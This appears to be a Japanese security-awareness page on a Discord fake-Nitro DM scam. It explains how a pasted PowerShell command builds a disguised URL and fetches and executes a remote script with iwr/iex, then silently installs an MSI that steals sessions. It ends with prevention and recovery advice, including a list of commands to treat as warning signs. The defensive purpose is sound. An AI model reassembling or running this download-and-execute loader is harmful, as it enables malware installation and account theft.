表で見える動き
DMと偽の案内
無料、知人からのDM、急かし。この3つで判断を雑にさせます。普段なら怪しいコマンド貼り付けも、流れで通してしまうのが狙いです。
裏で起きること
ざっくりした処理の流れ
「何人か動いた」「消される前に」と急かす。
'nitro' + 'features.' + app + '/dev' で nitrofeatures[.]app/dev を作る。
組み立てたURLへHTTPリクエスト。戻り値を $chart に入れる。
$chart.Content をPowerShellとして評価する。
%AppData%\Svservices を作る。
new2.msi をそのフォルダーに置く。
msiexec.exe /i /qn で画面を出さずに実行する。
48時間後に再試行、という表示だけを返す。
セッションや端末情報を使われる可能性がある。
コマンドの読み方
見るべきポイントだけ
$Mode = 'app'
$ActivateNitro = 'nitro' + 'features.' + $Mode + '/dev'
# => nitrofeatures[.]app/dev
$chart = iwr $ActivateNitro
# iex $chart.Content => remote script executionこのケースは、文字列連結でURLを作り、そこへHTTPリクエストを投げ、返ってきたスクリプトをそのまま実行する形です。実行用の一行としては扱わず、読み解くための断片だけにしています。
$Mode に app を入れ、'nitro' + 'features.' + $Mode + '/dev' を連結します。結果は nitrofeatures[.]app/dev です。目視でURLを見落としやすくする小細工です。
Invoke-WebRequest、短縮名 iwr で組み立てたURLへHTTPリクエストを送り、返ってきた内容を $chart に入れます。
Invoke-Expression、短縮名 iex は文字列をPowerShellとして評価します。$chart.Content が外部から来たスクリプトなら、そのまま実行になります。
iwr は Invoke-WebRequest。外部からデータを取得するコマンドです。
iex は Invoke-Expression。渡された文字列をPowerShellとして実行します。
iwr と iex が同じ流れにいる時点でかなり危険です。取得したものを読む前に実行してしまうため、配布側が後から中身を差し替えられます。
MSIが実行される流れ
取得後のメインスクリプト
- 1%AppData% に Svservices フォルダーを作る
- 2そこへ new2.msi をダウンロードする
- 3Windows 標準の msiexec.exe で /i /qn を付けてサイレントインストールする
- 4ユーザーには「Nitro機能は負荷で一時停止中。48時間後に再試行」とだけ表示する
/i はインストール、/qn は UI を出さない指定です。つまり、ユーザーには普通のインストール画面が出ません。
2FAで止まらない理由
ログイン前ではなくログイン後の話
2FAは新規ログインを強くします。ただ、ログイン済みセッションを盗まれると話が別です。
- 1パスワードを入力
- 22FAで本人確認
- 3ログイン成功
- 4セッションが発行される
- 1マルウェアが実行される
- 2既存セッションが盗まれる
- 3認証済み状態が再利用される
- 4アカウントが操作される
セッションが生きていると、攻撃者はログイン手順を踏まずに済む場合があります。だからパスワード変更だけでなく、全セッションのログアウトまでやる必要があります。
対策
Prevention
- Nitroや無料機能のためにPowerShell/CMDを実行しない
- iwr、irm、iex、curl、短縮URLが見えたら止まる
- 知人から来ても別経路で確認する
- Discordの2FAを有効にしてバックアップコードを保管する
- OS、ブラウザ、Discordを更新しておく
実行した後
やる順番
怪しい端末で先にパスワード変更しない。新しいパスワードまで抜かれる可能性があります。
- 1端末をネットワークから切る
Wi-Fi、有線LAN、VPNを切って追加通信を止める。
- 2別端末からパスワード変更
Discordと、使い回していたサービスをまとめて変える。
- 3全セッションをログアウト
盗まれたセッションを残さない。
- 42FAと復旧情報を見る
バックアップコード、認証アプリ、復旧メールを確認する。
- 5端末をスキャン
Defenderなどを更新してフルスキャン。怪しければ初期化も検討。
- 6周囲に知らせる
自分から届いたリンクやファイルを開かないよう伝える。
参考情報・ソース
Sources